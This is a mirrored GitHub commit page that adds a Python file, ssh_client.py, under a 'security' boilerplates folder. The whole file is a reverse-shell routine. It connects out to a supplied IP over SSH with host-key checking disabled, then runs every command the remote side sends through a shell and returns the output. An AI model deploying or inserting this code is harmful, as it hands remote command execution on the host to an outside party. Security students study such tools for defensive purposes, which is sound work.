mirror of
https://github.com/autistic-symposium/web3-starter-py.git
synced 2025-05-17 14:10:21 -04:00
💾
This commit is contained in:
parent
7cb7a479f6
commit
69bb4175f1
124 changed files with 20 additions and 15 deletions
16
boilerplates/security/python_ssh_modules/ssh_client.py
Normal file
16
boilerplates/security/python_ssh_modules/ssh_client.py
Normal file
|
@ -0,0 +1,16 @@
|
|||
def ssh_client(ip, port, user, passwd):
|
||||
|
||||
client = paramiko.SSHClient()
|
||||
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
|
||||
client.connect(ip, port=port, username=user, password=passwd)
|
||||
ssh_session = client.get_transport().open_session()
|
||||
if ssh_session.active:
|
||||
print(ssh_session.recv(1024))
|
||||
while 1:
|
||||
command = ssh_session.recv(1024)
|
||||
try:
|
||||
cmd_output = subprocess.check_output(command, shell=True)
|
||||
ssh_session.send(cmd_output)
|
||||
except Exception, e:
|
||||
ssh_session.send(str(e))
|
||||
client.close()
|
Loading…
Add table
Add a link
Reference in a new issue